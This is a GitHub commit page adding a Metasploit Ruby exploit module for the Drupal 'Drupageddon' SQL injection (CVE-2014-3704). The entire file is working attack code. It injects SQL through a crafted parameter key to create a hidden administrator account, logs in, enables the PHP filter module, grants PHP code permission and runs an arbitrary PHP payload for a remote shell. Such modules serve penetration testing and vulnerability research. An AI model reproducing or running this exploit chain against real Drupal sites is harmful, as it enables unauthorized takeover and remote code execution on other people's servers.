Skip to content

Commit 5c4ac48

Browse files
committed
update the drupal module a bit with error checking
1 parent a65ee6c commit 5c4ac48

File tree

1 file changed

+341
-0
lines changed

1 file changed

+341
-0
lines changed
Lines changed: 341 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,341 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info={})
14+
super(update_info(info,
15+
'Name' => 'Drupal HTTP Parameter Key/Value SQL Injection',
16+
'Description' => %q{
17+
This module exploits the Drupal HTTP Parameter Key/Value SQL Injection
18+
(aka Drupageddon) in order to achieve a remote shell on the vulnerable
19+
instance. This module was tested against Drupal 7.0 and 7.31 (was fixed
20+
in 7.32).
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' =>
24+
[
25+
'SektionEins', # discovery
26+
'Christian Mehlmauer', # msf module
27+
'Brandon Perry' # msf module
28+
],
29+
'References' =>
30+
[
31+
['CVE', '2014-3704']
32+
],
33+
'Privileged' => false,
34+
'Platform' => ['php'],
35+
'Arch' => ARCH_PHP,
36+
'Targets' => [['Drupal 7.0 - 7.31',{}]],
37+
'DisclosureDate' => 'Oct 15 2014',
38+
'DefaultTarget' => 0
39+
))
40+
41+
register_options(
42+
[
43+
OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/'])
44+
], self.class)
45+
46+
register_advanced_options(
47+
[
48+
OptString.new('ADMIN_ROLE', [ true, "The administrator role", 'administrator'])
49+
], self.class)
50+
end
51+
52+
def uri_path
53+
normalize_uri(target_uri.path)
54+
end
55+
56+
def admin_role
57+
datastore['ADMIN_ROLE']
58+
end
59+
60+
def generate_password_hash(pass)
61+
# Syntax for MD5:
62+
# $P$ = MD5
63+
# one char representing the hash iterations (min 7 iterations)
64+
# 8 chars salt
65+
# MD5_raw(salt.pass) + iterations
66+
# MD5 base64 encoded and trimmed to 22 chars for md5
67+
68+
# VALID md5 for salt 12345678 and password test
69+
#$P$812345678BWHQIqn5fZNJ.YWj7Kb39.
70+
71+
pass = 'test'
72+
iter = 10
73+
iter_char_base = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
74+
iter_char = iter_char_base[iter]
75+
#salt = Rex::Text.rand_text_alpha(8)
76+
salt = '12345678'
77+
md5 = Rex::Text.md5_raw("#{salt}#{pass}")
78+
1.upto(iter) {
79+
md5 = Rex::Text.md5_raw("#{md5}#{pass}")
80+
}
81+
md5_base64 = Rex::Text.encode_base64(md5)
82+
md5_stripped = md5_base64[0...22]
83+
pass = "$P$#{iter_char}#{salt}#{md5_stripped}"
84+
#puts pass
85+
86+
# return hardcoded password test for now
87+
return '$S$D7hqYeEHohfN2JLg7L4JBa8P3HBX8vimkIehutyb3BptkWMMON/d'
88+
end
89+
90+
def sql_insert_user(user, pass)
91+
"insert into users (uid, name, pass, mail, status) select max(uid)+1, '#{user}', '#{(generate_password_hash(pass))}', '#{Rex::Text.rand_text_alpha_lower(5)}@#{Rex::Text.rand_text_alpha_lower(5)}.#{Rex::Text.rand_text_alpha_lower(3)}', 1 from users"
92+
end
93+
94+
def sql_make_user_admin(user)
95+
"insert into users_roles (uid, rid) VALUES ((select uid from users where name='#{user}'), (select rid from role where name = '#{admin_role}'));"
96+
end
97+
98+
def extract_form_ids(content)
99+
form_build_id = $1 if content =~ /name="form_build_id" value="(.+)" \/>/
100+
form_token = $1 if content =~ /name="form_token" value="(.+)" \/>/
101+
102+
unless form_token and form_build_id
103+
fail_with(Failure::Unknown, "Could not parse form tokens")
104+
end
105+
106+
vprint_debug("#{peer} - form_build_id: #{form_build_id}")
107+
vprint_debug("#{peer} - form_token: #{form_token}")
108+
109+
return form_build_id, form_token
110+
end
111+
112+
def exploit
113+
114+
# TODO: Password hashing function
115+
# TODO: Check returns from regex matches, fail if nil
116+
# TODO: Check if option admin_role exists via admin/people/permissions/roles
117+
118+
# call login page to extract tokens
119+
print_status("#{peer} - Testing page")
120+
res = send_request_cgi({
121+
'uri' => uri_path,
122+
'vars_get' => {
123+
'q' => 'user/login'
124+
}
125+
})
126+
127+
unless res and res.body
128+
fail_with(Failure::Unknown, "No response or response body, bailing.")
129+
end
130+
131+
form_build_id, form_token = extract_form_ids(res.body)
132+
133+
if form_build_id == nil or form_build_id == ""
134+
fail_with(Failure::Unknown, "Could not retrieve form_build_id")
135+
end
136+
137+
user = Rex::Text.rand_text_alpha(10)
138+
#pass = Rex::Text.rand_text_alpha(10)
139+
# TODO: hardcoded for now
140+
pass = 'test'
141+
142+
post = {
143+
"name[0 ;#{sql_insert_user(user, pass)}; #{sql_make_user_admin(user)}; # ]" => Rex::Text.rand_text_alpha(10),
144+
'name[0]' => Rex::Text.rand_text_alpha(10),
145+
'pass' => Rex::Text.rand_text_alpha(10),
146+
'form_build_id' => form_build_id,
147+
'form_id' => 'user_login',
148+
'op' => 'Log in'
149+
}
150+
151+
print_status("#{peer} - Creating new user #{user}:#{pass}")
152+
res = send_request_cgi({
153+
'uri' => uri_path,
154+
'method' => 'POST',
155+
'vars_post' => post,
156+
'vars_get' => {
157+
'q' => 'user/login'
158+
}
159+
})
160+
161+
unless res and res.body
162+
fail_with(Failure::Unknown, "No response or response body, bailing.")
163+
end
164+
165+
# login
166+
print_status("#{peer} - Logging in as #{user}:#{pass}")
167+
res = send_request_cgi({
168+
'uri' => uri_path,
169+
'method' => 'POST',
170+
'vars_post' => {
171+
'name' => user,
172+
'pass' => pass,
173+
'form_build_id' => form_build_id,
174+
'form_id' => 'user_login',
175+
'op' => 'Log in'
176+
},
177+
'vars_get' => {
178+
'q' => 'user/login'
179+
}
180+
})
181+
182+
unless res
183+
fail_with(Failure::Unknown, "No response or response body, bailing.")
184+
end
185+
186+
cookie = res.get_cookies
187+
vprint_debug("#{peer} - cookie: #{cookie}")
188+
189+
# call admin interface to extract CSRF token and enabled modules
190+
print_status("#{peer} - Trying to parse enabled modules")
191+
res = send_request_cgi({
192+
'uri' => uri_path,
193+
'vars_get' => {
194+
'q' => 'admin/modules'
195+
},
196+
'cookie' => cookie
197+
})
198+
199+
form_build_id, form_token = extract_form_ids(res.body)
200+
201+
enabled_module_regex = /name="(.+)" value="1" checked="checked" class="form-checkbox"/
202+
enabled_matches = res.body.to_enum(:scan, enabled_module_regex).map { Regexp.last_match }
203+
204+
205+
unless enabled_matches
206+
fail_with(Failure::Unknown, "No modules enabled is incorrect, bailing.")
207+
end
208+
209+
post = {
210+
'modules[Core][php][enable]' => '1',
211+
'form_build_id' => form_build_id,
212+
'form_token' => form_token,
213+
'form_id' => 'system_modules',
214+
'op' => 'Save configuration'
215+
}
216+
217+
enabled_matches.each do |match|
218+
post[match.captures[0]] = '1'
219+
end
220+
221+
# enable PHP filter
222+
print_status("#{peer} - Enabling the PHP filter module")
223+
res = send_request_cgi({
224+
'uri' => uri_path,
225+
'method' => 'POST',
226+
'vars_post' => post,
227+
'vars_get' => {
228+
'q' => 'admin/modules/list/confirm'
229+
},
230+
'cookie' => cookie
231+
})
232+
233+
unless res and res.body
234+
fail_with(Failure::Unknown, "No response or response body, bailing.")
235+
end
236+
237+
# Response: http 302, Location: http://10.211.55.50/?q=admin/modules
238+
239+
print_status("#{peer} - Setting permissions for PHP filter module")
240+
241+
# allow admin to use php_code
242+
res = send_request_cgi({
243+
'uri' => uri_path,
244+
'vars_get' => {
245+
'q' => 'admin/people/permissions'
246+
},
247+
'cookie' => cookie
248+
})
249+
250+
251+
unless res and res.body
252+
fail_with(Failure::Unknown, "No response or response body, bailing.")
253+
end
254+
255+
form_build_id, form_token = extract_form_ids(res.body)
256+
257+
perm_regex = /name="(.+)" value="(.+)" checked="checked" \/>/
258+
enabled_perms = res.body.to_enum(:scan, perm_regex).map { Regexp.last_match }
259+
260+
unless enabled_perms
261+
fail_with(Failure::Unknown, "No enabled permissions were able to be parsed, bailing.")
262+
end
263+
264+
# get administrator role id
265+
id = $1 if res.body =~ /for="edit-([0-9]+)-administer-content-types">#{admin_role}:/
266+
vprint_debug("#{peer} - admin role id: #{id}")
267+
268+
unless id
269+
fail_with(Failure::Unknown, "Could not parse out administrator ID")
270+
end
271+
272+
post = {
273+
"#{id}[use text format php_code]" => 'use text format php_code',
274+
'form_build_id' => form_build_id,
275+
'form_token' => form_token,
276+
'form_id' => 'user_admin_permissions',
277+
'op' => 'Save permissions'
278+
}
279+
280+
enabled_perms.each do |match|
281+
post[match.captures[0]] = match.captures[1]
282+
end
283+
284+
res = send_request_cgi({
285+
'uri' => uri_path,
286+
'method' => 'POST',
287+
'vars_post' => post,
288+
'vars_get' => {
289+
'q' => 'admin/people/permissions'
290+
},
291+
'cookie' => cookie
292+
})
293+
294+
unless res and res.body
295+
fail_with(Failure::Unknown, "No response or response body, bailing.")
296+
end
297+
298+
# Add new Content page (extract csrf token)
299+
print_status("#{peer} - Getting tokens from create new article page")
300+
res = send_request_cgi({
301+
'uri' => uri_path,
302+
'vars_get' => {
303+
'q' => 'node/add/article'
304+
},
305+
'cookie' => cookie
306+
})
307+
308+
unless res and res.body
309+
fail_with(Failure::Unknown, "No response or response body, bailing.")
310+
end
311+
312+
form_build_id, form_token = extract_form_ids(res.body)
313+
314+
# Preview to trigger the payload
315+
data = Rex::MIME::Message.new
316+
data.add_part(Rex::Text.rand_text_alpha(10), nil, nil, 'form-data; name="title"')
317+
data.add_part(form_build_id, nil, nil, 'form-data; name="form_build_id"')
318+
data.add_part(form_token, nil, nil, 'form-data; name="form_token"')
319+
data.add_part('article_node_form', nil, nil, 'form-data; name="form_id"')
320+
data.add_part('php_code', nil, nil, 'form-data; name="body[und][0][format]"')
321+
data.add_part("<?php #{payload.encoded} ?>", nil, nil, 'form-data; name="body[und][0][value]"')
322+
data.add_part('Preview', nil, nil, 'form-data; name="op"')
323+
data.add_part(user, nil, nil, 'form-data; name="name"')
324+
data.add_part('1', nil, nil, 'form-data; name="status"')
325+
data.add_part('1', nil, nil, 'form-data; name="promote"')
326+
post_data = data.to_s
327+
328+
print_status("#{peer} - Calling preview page. Exploit should trigger...")
329+
send_request_cgi(
330+
'method' => 'POST',
331+
'uri' => uri_path,
332+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
333+
'data' => post_data,
334+
'vars_get' => {
335+
'q' => 'node/add/article'
336+
},
337+
'cookie' => cookie
338+
)
339+
end
340+
end
341+

0 commit comments

Comments
 (0)